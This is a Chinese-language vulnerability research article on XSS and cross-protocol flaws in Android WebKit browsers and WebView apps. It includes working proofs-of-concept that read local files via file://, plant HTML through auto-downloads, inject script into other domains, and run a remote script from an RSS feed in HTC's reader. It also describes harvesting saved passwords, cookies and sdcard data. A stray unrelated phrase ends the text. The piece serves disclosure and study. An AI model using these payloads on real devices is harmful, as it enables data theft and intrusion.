Android應用安全之android平臺上的xss攻擊
by SuperHei_at_www.80vul.com
一、前言
在智能手機和移動互聯網高速發展的今天,移動設備上的安全也成為了安全研究領域的熱
門。“平民化的東西,才是最有前途的”,andriod平臺的開放性及廉價門檻低等特點,直接
造就了“平民”的特色,“平民化的才是大眾的”,所以這個特點也導致了android平臺上的
各種各樣的惡意應用的泛濫,目前很多的安全廠商和安全人員都在忙碌于各種惡意apk的分析
上,而對其他的應用層上的安全問題研究甚少,而本文就是比較全面的分析了android平臺上
的xss漏洞的發現及利用...
二、瀏覽器里的跨域
1、android平臺上的瀏覽器
在android上的瀏覽器可以分為2類:
i、基于android自身集成的webkit上的瀏覽器。如:android自己瀏覽器
(com.android.browser),海豚、qq、遨游等。
ii、傳統瀏覽器廠家的移動版瀏覽器。如firlefox、opera等。
這里要強調的是,在于應用層我們看到的瀏覽器本質都是一個apk,所以對于漏洞的利用方式
其實是有很多的共同點的。
2、尋找瀏覽器的跨域漏洞
對于PC平臺上的經驗來看,瀏覽器的跨域漏洞主要表現為2種類型:
i、http協議之間的跨域。主要體現在不利用應用程序xss漏洞的情況下,利用瀏覽器本身
處理javascript方面的漏洞實現跨站之間的數據讀取等。
ii、通過http協議跨其他瀏覽器的偽協議。如http://-->file:// http://-->about:等瀏
覽器支持的偽協議。對于這類漏洞存在有2個必要條件:
a、http://可以調用目標偽協議[如http://調用file://在很多瀏覽器是被禁止或者受
限制的]
b、目標協議可以執行你注入的javasript[如實現協議本身的存在xss漏洞,或者對于
file://來說我們可以寫入任意html文件到本地然后調用]
本文提到的主要是對于ii來說的,在webzine第五期的文章《走向本地的邪惡之路》里對攻擊
流程有這樣的描敘:
“外網通過iframe等標簽-->本地存在xss漏洞的文件-->執行payload”
對于android平臺上的瀏覽器跨域也是一樣的,下面的一系列漏洞主要也是按照這個路徑而進
行的。
那么我們先看看android上各大瀏覽器的偽協議,對于android上應用程序apk注冊偽協議的方
法主要是在AndroidManifest.xml里設置<data scheme="協議"></data>就可以了,如果需要
得到瀏覽器支持,也就是在html里調用就必須設置
<category android:name="android.intent.category.BROWSABLE" /> 那么對于這些協議名
的獲取我們只要分析AndroidManifest.xml就可以得到了,至于這些協議的實現是不是存在這
xss漏洞那就需要進一步分析測試了,所以這個方式就缺少通用性。
對file://來說,在android平臺上的瀏覽器來說都是禁止在http://的頁面里直接調用的。
另外還有一個很關鍵的問題需要確定:隨著安全的發展,也可能看到了IE的“前車之鑒”,
所以很多的瀏覽器都開始注意本地html的安全防御了,也就是說如果瀏覽器本地安全到位,
那么即使你擁有在file://下執行js的能力,也不能實現最終攻擊的目的。firefox及opera等
瀏覽器來說,他們有安全的基礎,所以移動版本也一樣對于本地html文件的安全防御是下了
功夫的[具體的請自行測試:)],不過幸運的是,本文的主角android-webkit對于本地html的
安全防御是非常薄弱的,本地的html文件可以任意跨域,這個也就是本文基石。
[0day-NO.0]、android-webkit本地跨域漏洞:
android-webkit在通過file://訪問本地的html文件時,沒有任何的同源策略限制,可以通過
xhr等任意獲取本地有讀取權限的文件及http域網頁的內容。POC如下:
<script>
var request = false;
if(window.XMLHttpRequest) {
request = new XMLHttpRequest();
if(request.overrideMimeType) {
request.overrideMimeType('text/xml');
}
} else if(window.ActiveXObject) {
var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP',
'Microsoft.XMLHTTP',
'Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0','Msxml2.XMLHTTP.5.0',
'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
for(var i=0; i<versions.length; i++) {
try {
request = new ActiveXObject(versions[i]);
} catch(e) {}
}
}
xmlhttp=request;
//獲取本地文件代碼
//xmlhttp.open("GET", "file://///default.prop", false);
//獲取http網頁代碼
//xmlhttp.open("GET", "http://www.80vul.com/", false);
xmlhttp.send(null);
var ret = xmlhttp.responseText;
alert(ret);
</script>
[ps:這個缺少chrome團隊那些猥瑣流大牛的參與有一定的關系?!(android瀏覽器和chrome目
前好像還是2個獨立的團隊)]
OK! 一切按照原計劃進行...
3、android-webkit的0days
我們根據上面提到的攻擊流程走,所以我們的首要任務就需要跨越file://。
[0day-NO.1]、android-webkit跨協議漏洞:
android-webkit在處理轉跳時存在漏洞,導致允許從http協議跨越其他的協議如file://協
議,實現跨域漏洞。POC如下:
<iframe name=f src="location.php" ></iframe>
<script>
function init(){
f.location = "file:///default.prop";
}
setTimeout(init,5000)
</script>
location.php代碼如下:
<?php
header("Location:file:///80vul.com");
?>
上面的代碼完美實現了從http://到file://的跨越[android 4.0上已經不存在這個漏洞了]。
我們繼續接著流程走,下一步需要的所尋找可以注入任意javascript的“本地之門”了。
[0day-NO.2]、android-webkit的file://協議xss漏洞:
android-webkit在實現file://打開不存在的文件給出的提示對文件路徑缺少過濾導致xss漏
洞。POC如下:
地址訪問 file:///80vul.com/<script>alert(1);</script>
我們插入代碼<script>alert(1);</script>將被執行。不過這個漏洞只存在于:
1.6<android<4.0 ,并且本身就有一個彈框提示,所以并不完美,我們繼續...
[0day-NO.3]、android-browser和firefox自動下載文件漏洞:
adroid系統自帶的瀏覽器com.android.browser在處理Content-Disposition: attachment的
時候,UI設計存在漏洞,導致可以自動下載文件到固定的本地目錄。POC如下:
<?
//autodown.php
header("Content-Disposition: attachment:filename=autodown.htm");
$data=<<<android_xss_go
<script>alert(/xss/);</script>
android_xss_go;
print $data;
?>
在上面的代碼在不同的版本的android系統上是不一樣的:
android 1.x 自動下載保存文件名為:/sdcard/download/autodown.html
android 2.x-3.x 自動下載保存文件名為:/sdcard/download/autodown.htm
android 4.0 自動下載保存文件名為:/sdcard/download/autodown.php
firefox 自動下載保存文件名為:/sdcard/download/autodown.php
上面的測試結果來看,路徑和文件名都是相對固定的,并且html/htm/php后綴都是可以被解
析(渲染)的。對于其他的基于android-webkit的外殼瀏覽器,如:android自己瀏覽器
(com.android.browser),海豚、qq、遨游等都在UI設計上有所加強,對于下載文件都有提示
保存。
OK,攻擊流程里的2個步驟條件都已經滿足了,最后給出我們的POC:
POC[1]:
//[0day-NO.1]+[0day-NO.2]
<iframe name=f src="location.php" ></iframe>
<script>
function init(){
f.location = "file:///ssss<sc"+"ript>alert(1);</sc"+"ript>/";
}
setTimeout(init,5000)
</script>
POC[2]:
//[0day-NO.1]+[0day-NO.3]
<meta http-equiv=“refresh” content=“0;URL=autodown.php”/>
<iframe name=f src=”location.php“></iframe>
<script>
function init(){
f.location = "file:///sdcard/Download/autodown.htm";
}
setTimeout(init,5000)
</script>
萬事具備,只切欠payload ...
4、不僅僅是彈框
通過上面的一系列0days跨越file://后,可以自由的彈JJ了,如果你不是一個單純的BT,應
該可以思考一下:“我還可以做點啥子邪惡的事情呢?” ...
i、跨越任意http
最基本的利用,我們又從file殺回http了!!只是這個http已經不在是你那蹩腳的.cn的域名
了,我們可以去其他的http瀟灑了,去80vul.com怎么樣? 請出PZ牛寫的經典code:
//payload.js
function inject(){
var d = document.getElementById("hi").contentDocument || document.getElementById("hi").contentWindow.document
var x = d.createElement("SCRIPT");
x.src ="x.js"; //在目標域調用的js
x.defer = true;
d.getElementsByTagName("HEAD")[0].appendChild(x);
}
document.write("<iframe id=hi src=http://www.80vul.com onload=inject()></iframe>")
//x.js
alert(document.domain);
調用如下代碼后,就可以在www.80vul.com域里執行js代碼:alert(document.domain);了 ...
ii、跨越market.android.com實現自動下載安裝惡意apk
其實這個方式就是上面i里的一個特例子,因為在market.android.com域里可以直接通過js實
現在手機上自動下載安裝惡意apk。這個方法最早又大牛jonoberheide提出,詳
見《How I Almost Won Pwn2Own via XSS》[1]
這個方法目前還是可用的,在我寫的《Android應用安全之開發環境帶來的危險》一文里也有
應用。具體實現codz,可以參考《Android應用安全之開發環境帶來的危險》一文。
iii、挖掘本地文件
上面跨http方式對于目前手機系統來說有個致命的弱點:為了彌補在顯示和操作方面的先天
不足,廣泛采用apk機制,也就是說把各大sns應用都開發自己的手機客服端應用,這個方式
直接扼殺了瀏覽器跨域漏洞跨單純http協議之間上利用價值。所以我們有必要挖掘一下其他
方向的利用!! 現在我們處于file://域下,在webkit里我們完全可以通過xmlhttp來讀取本
地文件來獲取多我們有用的信息,下面要做的就是看我們對那些文件有讀取的權限。
在這之前,我們先要了解一下android的安全機制:“Android 是一個權限分離的系統。這是
利用 Linux 已有的權限管理機制,通過為每一個Application分配不同的 uid 和 gid,從而
使得不同的 Application 之間的私有數據和訪問( native 以及 java 層通過這種
sandbox 機制,都可以)達到隔離的目的。”
對于android上的瀏覽器來說,一個瀏覽器就是一個Application,對于系統來說分配給這個
瀏覽器一個uid。這個可以說明2個問題:
* 對應用程序的owner數據文件有讀取權限
* 對系統里設置了other可讀的文件有讀取權限
下面我們找找這些文件里都有些什么有價值的信息:
a、尋找owner的數據文件
我們以com.android.browser為例子。 先去/data/data/com.android.browser目錄的屬性:
# ls -l /data/data/
ls -l /data/data/
drwxr-x--x app_20 app_20 2011-09-10 12:12 com.android.browser
drwxr-x--x app_0 app_0 2011-09-26 04:15 com.android.providers.downloads
drwxr-x--x app_7 app_7 2011-09-10 12:03 com.android.wallpaper.livepicker
drwxr-x--x app_8 app_8 2011-09-10 12:03 com.android.fallback
.....
# ls -l /data/data/com.android.browser
ls -l /data/data/com.android.browser
drwxrwx--x app_20 app_20 2011-09-10 12:12 app_thumbnails
drwxrwx--x app_20 app_20 2011-09-10 12:12 app_databases
drwxrwx--x app_20 app_20 2011-09-10 12:12 app_appcache
drwxrwx--x app_20 app_20 2011-10-04 04:25 cache
drwxrwx--x app_20 app_20 2011-10-28 10:05 shared_prefs
drwxr-xr-x system system 2011-09-10 12:03 lib
drwxrwx--x app_20 app_20 2011-09-26 04:05 app_geolocation
drwxrwx--x app_20 app_20 2011-11-16 13:53 app_icons
drwxrwx--x app_20 app_20 2011-11-16 14:12 databases
# cd /data/data/com.android.browser
cd /data/data/com.android.browser
# ls -l databases
ls -l databases
-rw-r--r-- app_20 app_20 512 2011-11-16 14:28 webviewCache.db-journal
-rw-rw---- app_20 app_20 19456 2011-11-16 13:54 webview.db
-rw-rw---- app_20 app_20 17408 2011-11-16 13:53 browser.db
-rw-rw---- app_20 app_20 113664 2011-11-16 13:55 webviewCache.db
# ls -l app_databases/localstorage
ls -l app_databases/localstorage
-rw-r--r-- app_20 app_20 4096 2011-10-05 11:38 http_phpforandroid.net_0.localstorage
-rw-r--r-- app_20 app_20 17408 2011-10-11 12:30 http_www.google.cn_0.localstorage
-rw-r--r-- app_20 app_20 4096 2011-10-05 11:58 http_mediacdn.disqus.com_0.localstorage
-rw-r--r-- app_20 app_20 1191936 2011-11-16 13:54 http_www.google.com_0.localstorage
# ls -l app_geolocation
ls -l app_geolocation
-rw-rw---- app_20 app_20 3072 2011-09-26 04:05 CachedGeoposition.db
看看這些數據庫里都有些啥子東西呢?
# sqlite3 webview.db
sqlite3 webview.db
SQLite version 3.6.22
Enter ".help" for instructions
Enter SQL statements terminated with a ";"
sqlite> .tables
.tables
android_metadata formdata httpauth
cookies formurl password
# sqlite3 browser.db
sqlite3 browser.db
SQLite version 3.6.22
Enter ".help" for instructions
Enter SQL statements terminated with a ";"
sqlite> .tables
.tables
android_metadata bookmarks searches
包括保存的密碼、cookie、訪問url、bookemarks 甚至還有localstorage和地址信息等。
b、尋找other可讀的文件
不一樣的系統rom可能結果會不一樣,我們可以用腳本簡單實現一個scan,我這里用的
android-php:http://phpforandroid.net/,然后我們需要用有root的adb shell :
# /data/data/com.irontec.phpforandroid/files/php/bin/php /mnt/sdcard/sl4a/scripts/find.php "/data/"
/data/data/com.irontec.phpforandroid/files/php/bin/php /mnt/sdcard/sl4a/scripts/find.php "/data/"
FIX ME! implement getprotobyname() bionic/libc/bionic/stubs.c:378
FIX ME! implement getprotobyname() bionic/libc/bionic/stubs.c:378
/data/anr/traces.txt
...
/data/data/com.android.browser/app_databases/localstorage/http_www.google.cn_0.localstorage
/data/data/com.android.browser/app_databases/localstorage/http_mediacdn.disqus.com_0.localstorage
/data/data/com.android.browser/app_databases/localstorage/http_www.google.com_0.localstorage
/data/data/com.android.browser/app_databases/localstorage/http_phpforandroid.net_0.localstorage
/data/data/com.android.browser/app_databases/localstorage/http_t.qq.com_0.localstorage
...
/data/data/com.android.music/shared_prefs/Music.xml
/data/data/jp.co.omronsoft.openwnn/writableJAJP.dic
/data/data/jp.co.omronsoft.openwnn/writableEN.dic
/data/system/packages.list
/data/system/packages.xml
/data/system/uiderrors.txt
上面的結果我處理掉了一些.apk .dex .so文件。沒想到的是com.android.browser的
localstorage文件是other可讀的!!
/data/system/packages.list
/data/system/packages.xml
可以得到目標系統安裝哪些應用及應用的配置(如權限)等,在
/data/system/uiderrors.txt還可以得到一些錯誤的信息等等。如何我們繼續會發現一些可
以讀文件;包括:
/ueventd.rc
/ueventd.goldfish.rc
/init.rc
/init.goldfish.rc
/default.prop
/system/build.prop
/system/etc/目錄下的一些配置文件
在我們跑腳本的過程里你會發現2個讓你的腳本死循環的目錄/sys/及/proc/,這個本來就是
linux下的虛擬文件系統,由于各種掛載導致腳本死循環,但在這2個目錄我們可以得到手機
系統很多信息。如:
# ls -l /proc/
ls -l /proc/
dr-xr-xr-x root root 2011-11-17 09:35 binder
-r--r--r-- root root 0 2011-11-17 09:35 mtd
--w--w---- root system 0 2011-11-17 09:35 sysrq-trigger
-r--r--r-- root root 0 2011-11-17 09:35 partitions
-r--r--r-- root root 0 2011-11-17 09:35 diskstats
-r--r--r-- root root 0 2011-11-17 09:35 crypto
-r--r--r-- root root 0 2011-11-17 09:35 yaffs
-r-------- root root 0 2011-11-17 09:35 kpageflags
-r-------- root root 0 2011-11-17 09:35 kpagecount
-r--r----- root system 0 2011-11-17 09:35 kmsg
-r--r--r-- root root 0 2011-11-17 09:35 version
-r--r--r-- root root 0 2011-11-17 09:35 uptime
-r--r--r-- root root 0 2011-11-17 09:35 stat
-r--r--r-- root root 0 2011-11-17 09:35 meminfo
-r--r--r-- root root 0 2011-11-17 09:35 loadavg
-r--r--r-- root root 0 2011-11-17 09:35 interrupts
-r--r--r-- root root 0 2011-11-17 09:35 devices
-r--r--r-- root root 0 2011-11-17 09:35 cpuinfo
-r--r----- root radio 0 2011-11-17 09:35 cmdline
-r--r--r-- root root 0 2011-11-17 09:35 locks
-r--r--r-- root root 0 2011-11-17 09:35 filesystems
-rw-r--r-- root root 0 2011-11-17 09:35 slabinfo
-r--r--r-- root root 0 2011-11-17 09:35 swaps
-r--r----- root log 0 2011-11-17 09:35 vmallocinfo
-r--r--r-- root root 0 2011-11-17 09:35 zoneinfo
-r--r--r-- root root 0 2011-11-17 09:35 vmstat
-r--r--r-- root root 0 2011-11-17 09:35 pagetypeinfo
-r--r--r-- root root 0 2011-11-17 09:35 buddyinfo
-r--r--r-- root root 7087 2011-11-17 09:35 config.gz
-r--r--r-- root root 0 2011-11-17 09:35 kallsyms
-rw-r--r-- root root 0 2011-11-17 09:35 timer_list
-r--r--r-- root root 0 2011-11-17 09:35 iomem
-r--r--r-- root root 0 2011-11-17 09:35 ioports
-r--r--r-- root root 0 2011-11-17 09:35 execdomains
-r--r--r-- root root 0 2011-11-17 09:35 schedstat
-r--r--r-- root root 0 2011-11-17 09:35 sched_debug
dr-xr-xr-x root root 2011-11-17 09:35 cpu
-r--r--r-- root root 0 2011-11-17 09:35 misc
-r--r--r-- root root 0 2011-11-17 09:35 fb
-r--r--r-- root root 0 2011-11-17 09:35 wakelocks
dr-xr-xr-x root root 2011-11-17 09:35 irq
-r--r--r-- root root 0 2011-11-17 09:35 cgroups
dr-xr-xr-x root root 2011-11-17 08:17 sys
dr-xr-xr-x root root 2011-11-17 09:35 bus
dr-xr-xr-x root root 2011-11-17 09:35 tty
dr-xr-xr-x root root 2011-11-17 09:35 driver
dr-xr-xr-x root root 2011-11-17 09:35 fs
dr-xr-xr-x root root 2011-11-17 09:35 sysvipc
lrwxrwxrwx root root 2011-11-17 09:35 net -> self/net
lrwxrwxrwx root root 2011-11-17 09:35 mounts -> self/mounts
lrwxrwxrwx root root 2011-11-17 08:17 self -> 2223
dr-xr-xr-x root root 2011-11-17 08:17 1
dr-xr-xr-x root root 2011-11-17 08:17 2
dr-xr-xr-x root root 2011-11-17 08:17 3
dr-xr-xr-x root root 2011-11-17 08:17 4
....
得到有用的系統/內核信息 如:
/proc/cpuinfo - CPU 的信息 (型號, 家族, 緩存大小等)
/proc/meminfo - 物理內存、交換空間等的信息
/proc/mounts - 已加載的文件系統的列表
/proc/devices - 可用設備的列表
/proc/filesystems - 被支持的文件系統
/proc/version - 內核版本
/proc/cmdline - 系統啟動時輸入的內核命令行參數
.....
得到有關運行中的進程的信息 如:
# ls -l /proc/1
ls -l /proc/1
dr-xr-xr-x root root 2011-11-17 09:38 task
dr-x------ root root 2011-11-17 09:38 fd
dr-x------ root root 2011-11-17 09:38 fdinfo
dr-xr-xr-x root root 2011-11-17 09:38 net
-r-------- root root 0 2011-11-17 09:38 environ
-r-------- root root 0 2011-11-17 09:38 auxv
-r--r--r-- root root 0 2011-11-17 09:38 status
-r-------- root root 0 2011-11-17 09:38 personality
-r-------- root root 0 2011-11-17 09:38 limits
-rw-r--r-- root root 0 2011-11-17 09:38 sched
-r--r--r-- root root 0 2011-11-17 08:17 cmdline
-r--r--r-- root root 0 2011-11-17 08:17 stat
-r--r--r-- root root 0 2011-11-17 09:38 statm
-r--r--r-- root root 0 2011-11-17 08:40 maps
-rw------- root root 0 2011-11-17 09:38 mem
lrwxrwxrwx root root 2011-11-17 09:38 cwd -> /
lrwxrwxrwx root root 2011-11-17 09:38 root -> /
lrwxrwxrwx root root 2011-11-17 09:38 exe -> /init
-r--r--r-- root root 0 2011-11-17 09:38 mounts
-r--r--r-- root root 0 2011-11-17 09:38 mountinfo
-r-------- root root 0 2011-11-17 09:38 mountstats
--w------- root root 0 2011-11-17 09:38 clear_refs
-r--r--r-- root root 0 2011-11-17 09:38 smaps
-r-------- root root 0 2011-11-17 09:38 pagemap
-r--r--r-- root root 0 2011-11-17 09:38 wchan
-r--r--r-- root root 0 2011-11-17 09:38 schedstat
-r--r--r-- root root 0 2011-11-17 09:38 cgroup
-r--r--r-- root root 0 2011-11-17 09:38 oom_score
-rw-r--r-- root root 0 2011-11-17 08:17 oom_adj
-rw-r--r-- root root 0 2011-11-17 09:38 coredump_filter
# cat /proc/1/maps
cat /proc/1/maps
00008000-0001e000 r-xp 00000000 00:01 19 /init
0001e000-0001f000 rwxp 00016000 00:01 19 /init
0001f000-0002d000 rwxp 0001f000 00:00 0 [heap]
40000000-40001000 r-xp 40000000 00:00 0
40001000-40009000 rwxs 00000000 00:0a 198 /dev/__properties__ (deleted)
bee20000-bee35000 rw-p befeb000 00:00 0 [stack]
至于這些相信的利用要取決于你對linux系統的理解程度,我基本是個菜鳥,所以后面直接略
過咯 :)
c、sdcard權限設置的悲劇
其實在上面“尋找other可讀的文件”時候,好像漏掉了一個目錄,那就所/sdcard/ 其實是
掛載的/mnt/sdcard/,sdcard在手機系統里有這特殊的意義:為了減少系統的壓力,很多的
應用數據文件、還有備用的文件都保存在/sdcard里。所以如果sdcard的文件可讀,那么得到
的信息也是很巨大的。 我們看一下sdcard目錄屬性:
ls -l /mnt/
drwxr-xr-x root system 2011-11-17 08:17 obb
drwxr-xr-x root system 2011-11-17 08:17 asec
drwx------ root root 2011-11-17 08:17 secure
d---rwxr-x system sdcard_rw 1970-01-01 00:00 sdcard
雖然是獨立用戶組,但是它是對other可讀的!! 如:
# ls -l /sdcard/tencent/
ls -l /sdcard/tencent/
d---rwxr-x system sdcard_rw 2011-08-31 20:56 QQ
d---rwxr-x system sdcard_rw 2011-11-09 18:10 MicroMsg
d---rwxr-x system sdcard_rw 2011-11-10 07:25 weibo
# ls -l /sdcard/tencent/qq
ls -l /sdcard/tencent/qq
d---rwxr-x system sdcard_rw 2011-10-03 17:15 data
d---rwxr-x system sdcard_rw 2011-10-22 18:06 log
d---rwxr-x system sdcard_rw 2011-08-27 12:58 Qzone
d---rwxr-x system sdcard_rw 2011-08-31 20:56 download
# ls -l /sdcard/tencent/qq/data
ls -l /sdcard/tencent/qq/data
----rwxr-x system sdcard_rw 8192 2011-10-03 17:15 QQ_database
如果有使用有備用電話的聯系人短信的功能apk話,如果路徑固定,說不定還可以得到這些要
命的東西 :)
三、其他應用程序(apk)里的XSS
瀏覽器本質上其實也就是一個應用程序,只是瀏覽器本身存在的原因就是處理html/js等元
素。上面我們也提到了,由于官方采用的應用程序化的機制,直接削弱了瀏覽器的使用。各
大SNS的網絡都推出了基于apk的應用程序客服端,所以我們研究應用程序里的xss是非常有必
要的...
1、其他apk的html/js處理方式
“有html/js的地方,就有可能有xss漏洞”所以我們首先要找的就是一般是那些情況下引入
html/js,就以往的經驗來看我首先想到的是Html.fromHtml處理字符的方式,不過經過測
試,Html.fromHtml()目前功能還非常弱,支持有限的tag,最主要的是根本不支持js,所以
這個基本就可以放棄了!
android應用開發里要引用html/js的方法目前比較常用就的是調用webview控件來實現。對
于webview控件的介紹詳細見官方的手冊:[2]
2、webview控件3種方式與對應的“域”
webview控件在load網頁時有3種方式:
(1)、webview.loadUrl(url);
(2)、webview.loadData(data, "text/html", "utf-8");
(3)、webview.loadDataWithBaseURL(baseUrl, data, "text/html", "utf-8", null);
另外webview默認是不支持js的,要支持js還必須webSetting進行設置:webSetting.setJavaScriptEnabled(true);
我們再看看這3種方式調用的js所在的域:
(1)、webview.loadUrl(url);
對于這種方式,js執行的domain取決于url的domain。此時這個webview就相當于一個基于
android-webkit的第三方外殼瀏覽器。那么這個url當然也可以是file://和javascript:等偽
協議。對于這樣的方式存在的xss漏洞,他的威力完全取決于url這個參數。如果在應用程序
里這個url可以控制,那么我們可以直接指定它到file://那么所有的攻擊又回到了瀏覽器里
跨域的利用方式了。當然,當只可以在http://下時上面提到的android-webkit的漏洞都是一
樣的。
(2)、webview.loadData(data, "text/html", "utf-8");
這種調用方式就相當于在瀏覽器里使用"data:text/html;<html>"偽協議,及時在應用程序里
可以控制第一個參數data導致xss漏洞,那它執行的js的域也是在空白域,如果不使用
webkit的漏洞的話,基本上是沒有太多辦法跨域的。也就是說目前這種類型的xss基本就只有
靠webkit的漏洞的來實現跨域了。
(3)、webview.loadDataWithBaseURL(baseUrl, data, "text/html", "utf-8", null);
相比上面2個函數,這個函數可以控制Url及執行的data。那么這樣的方式導致的xss漏洞,執
行域也取決于baseUrl,這個相比(1)里的url來說,它可以是其他隨意的“域” 如:
webview.loadDataWithBaseURL(“aaa”, data, "text/html", "utf-8", null);
那么他執行的js就是在"aaa"域下。對于這樣的方式好像也沒有太多的利用,不過經過我的測
試發現,這個方式可以通過轉跳到任意域包括file://,也就是我們的[0day-NO.4]!
3、[0day-NO.4]、webview.loadDataWithBaseURL()跨協議漏洞
webview.loadDataWithBaseURL()在可以控制第2個參數的情況下,可以通過js轉跳來跨越其
他的協議如file://協議,導致跨域漏洞。DEMO:
WebView webview;
webview = (WebView) findViewById(R.id.webview);
webview.getSettings().setJavaScriptEnabled(true);
webview.setWebChromeClient(new WebChromeClient());
String data="80vul<script>window.location='file://///default.prop';</script>";
webview.loadDataWithBaseURL("http://www.baidu.com/", data, "text/html", "utf-8", null);
所以在實際apk通過loadDataWithBaseURL導致的xss的利用還是有希望的,不過實際攻擊的情
況下,你還需要把你的js代碼注入到file://下,[0day-NO.2]及[0day-NO.3]可能是比較好的
選擇,或許還有其他的方法?:)
4、利用
因為一般的SNS的apk應用都是采用網絡api的方式驗證登錄的,所以傳統的得到cookie的方式
基本上沒有什么意義!,對于在http://下跨基本上效果是非常有限的,所以大體上利用如下:
a、利用webview.loadUrl在file://下,并且可以注入js的情況下實現file://下的利用。
b、利用webview.loadUrl通過file://調用資源的情況下放置xss“后門”。
c、利用webkit-webkit的漏洞實現跨file://。
d、利用webview.loadDataWithBaseURL()跨協議漏洞來跨file://。
5、一個DEMO
[0day-NO.5]、com.htc.googlereader XSS 漏洞
我們發現在HTC自帶的rss閱讀的應用com.htc.googlereader在處理未讀狀態的rss內容里的
<description> tag時可以注入執行任意javascript。POC如下:
設置rss:
<item>
<guid>http://www.80vul.com</guid>
<title>0day-NO.5</title>
<link>http://www.80vul.com</link>
<description><![CDATA[aa<script src='http://www.80vul.com/xss.js'></script>]]></description>
<dc:creator>80vul</dc:creator>
<category>anddoid</category>
<pubDate>Sun, 04 Sep 2011 13:01:40 -0500</pubDate>
</item>
訂閱后,點擊標題后將執行插入的http://www.80vul.com/xss.js,彈出來的窗口信息提示我
們腳本所在“http://”下執行的,很特別,按照上面的分析,導致這個情況的很有可能是
webview.loadDataWithBaseURL(),果斷反編譯看下找到如下代碼:
label399: String str = this.mHeadlineShown.getSummary();
if (str.trim().contains("<iframe"))
{
this.mWebView.loadData(str, "text/html", "utf-8");
break label246;
}
this.mWebView.loadDataWithBaseURL("http://", str, "text/html", "utf-8", null);
break label246;
至于payload我們使用,[0day-NO.4]+[0day-NO.2]來demo一下:
xss.js代碼如下:
window.location="file:///ssss<script>alert(1);</script>/";
四、后話
其實本文是用傳統分析方法對android平臺上的瀏覽器跨域及應用apk上的xss漏洞的從發現到
利用過程進行一次比較詳細的剖析。另外本文雖然給出了5個0day,但是要達到實際的攻擊效
果需要各種各樣的組合型攻擊才有效果,這種方式也是目前從系統底層到應用的漏洞利用的
常用方式,尤其表現在各種防御突破上及實現漏洞利用的各種條件上。還有就是本文是我入
手android不足2個月內發現的一些東西,在某些認識及描敘上肯定存在很多錯誤的地方,希
望大家指正!最后要感謝luoluo的指點及提供的各種demo apk。
五、參考
[1]http://jon.oberheide.org/blog/2011/03/07/how-i-almost-won-pwn2own-via-xss/
[2]http://developer.android.com/reference/android/webkit/WebView.html
-EOF-
亚洲欧美在线